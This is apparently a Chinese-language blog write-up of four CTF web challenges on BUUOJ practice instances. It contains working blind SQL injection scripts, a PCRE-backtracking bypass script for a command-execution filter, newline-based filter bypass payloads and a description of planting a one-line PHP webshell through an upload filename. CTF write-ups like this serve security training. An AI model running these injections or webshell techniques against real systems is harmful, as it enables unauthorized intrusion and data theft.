[WUSTCTF2020]颜值成绩查询
这题sql注入,过滤了空格测试语句
1/**/and/**/1=1 1/**/and/**/1=2
|
盲注:需要写脚本=:
构造payload:
1/**/and/**/substr(database(),1,1)='1'--
|
学习一下使用二分法进行爆破
import requests url="http://b2b3ad31-796e-489d-8ad3-3dc8c3fc8257.node3.buuoj.cn/?stunum=" s=requests.session() database="" for i in range(1,10000): low =32 high=128 mid=(low+high)//2 while(low<high): #payload_1=f"1/**/and/**/ascii(substr(database(),{i},1))>{mid}" #payload_2=f"1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),{i},1))>{mid}" #payload_3=f"1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{i},1))>{mid}" payload_4= f"1/**/and/**/ascii(substr((select/**/value/**/from/**/flag),{i},1))>{mid}" if "Hi admin" in s.get(url+payload_4).text: low = mid+1 else: high=mid mid=(low+high)//2 if(mid==32 or mid==132): break database +=chr(mid) print(database) print(database)
|
二分法快了不是一倍两倍– 真的超级快==
[BSidesCF 2019]Kookie
让我们以admin的方式登录,并且提示cookie,所以我就在cookie里添加,username=admin,就可以拿到flag了
[FBCTF2019]RCEService
输入json类型数据:
https://www.cnblogs.com/skysoot/archive/2012/04/17/2453010.html
测试
然后想cat却不行,应该是有过滤==,然后去看了一下wp,说是比赛的时候有源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd'];
if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } }
?>
|
确实是过滤了很多内容
考点分析一下:
1.如何绕过过滤?
绕过preg_match方法有两种:
(1).preg_match会去努力的去匹配第一行,所以我们可以利用多行的方式进行绕过:
POST: cmd={ "cmd":"/bin/cat%20/home/rceservice/flag" }
|
也可以直接加一个**%0A**这个也是代表换行符
(2).利用PCRE回溯绕过
脚本
import requests payload = '{"cmd":"/bin/cat /home/rceservice/flag ","a":"' + "a"*(1000000) + '"}' res = requests.post("http://c7f06821-9d9b-468e-9f9f-21c3454d5c7d.node3.buuoj.cn/", data={"cmd":payload}) print(res.text)
|
2.为什么我们无法使用cat命令?
putenv(‘PATH=/home/rceservice/jail’)根据这行源码,读出jail应用于当前环境,我们能使用ls应该是 jali包含了执行二进制文件,所以我们可以直接拉出cat的路径:
{"cmd": " /bin/cat /home/rceservice/flag "}
|
注意:Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
通过以上成功拿到flag
[CISCN2019 总决赛 Day2 Web1]Easyweb
image.php.bak源码泄露:
<?php include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id); $path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
|
首先进行绕过,这里测试一下绕过语句:
select * from images where id='' or path='';
|
<?php $id="\\0"; $id=addslashes($id); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); print($id);
|
可见当我们输入\\0的时候最终的结果是\逃逸出来了,设想一下,如果我们在id输入这个,那么久会变成
select * from images where id='\' or path=''; 此时后面那个单引号被转义,变成是id=\' or path=' 如果我们在path后插入注入语句or 1=1#,将变成 id='\' or path=' or 1=1#'
|
这里贴一下盲注脚本:
import requests url = "http://803aae5e-79fb-4520-960c-d67666295f67.node3.buuoj.cn/image.php?id=\\0&path=" s=requests.session() payload = " or ascii(substr((select password from users),{},1))>{}%23" result = '' for i in range(0,100): high=127 low=32 mid= (low+high) // 2 while(high>low): if 'JFIF' in s.get(url+payload.format(i,mid)).text: low=mid+1 else: high=mid mid=(low+high)//2 result +=chr(mid) print(result)
|
跑出账号密码,登陆以后发现可以上传文件:
随便上传了一个内容:
I logged the file name you uploaded to logs/upload.d74bd5e2a76d1aa9b34f21ca9e866a8b.log.php. LOL
|
无法上传php文件
但是可以发现 我们存入的文件名都出现在了这个php文件当中
如果我们传入一句话木马文件名,那么就会被这个php解析了
由于php被过滤了,所以这里我们使用短标签进行绕过:
burp抓包,改文件名为
POST数据或者蚁剑连接都行
小结
有点久没刷题了、。。罪过,这次也是收获了不少,感觉sql的调试技巧有点遗忘了,直接复制代码会本地测试就行了~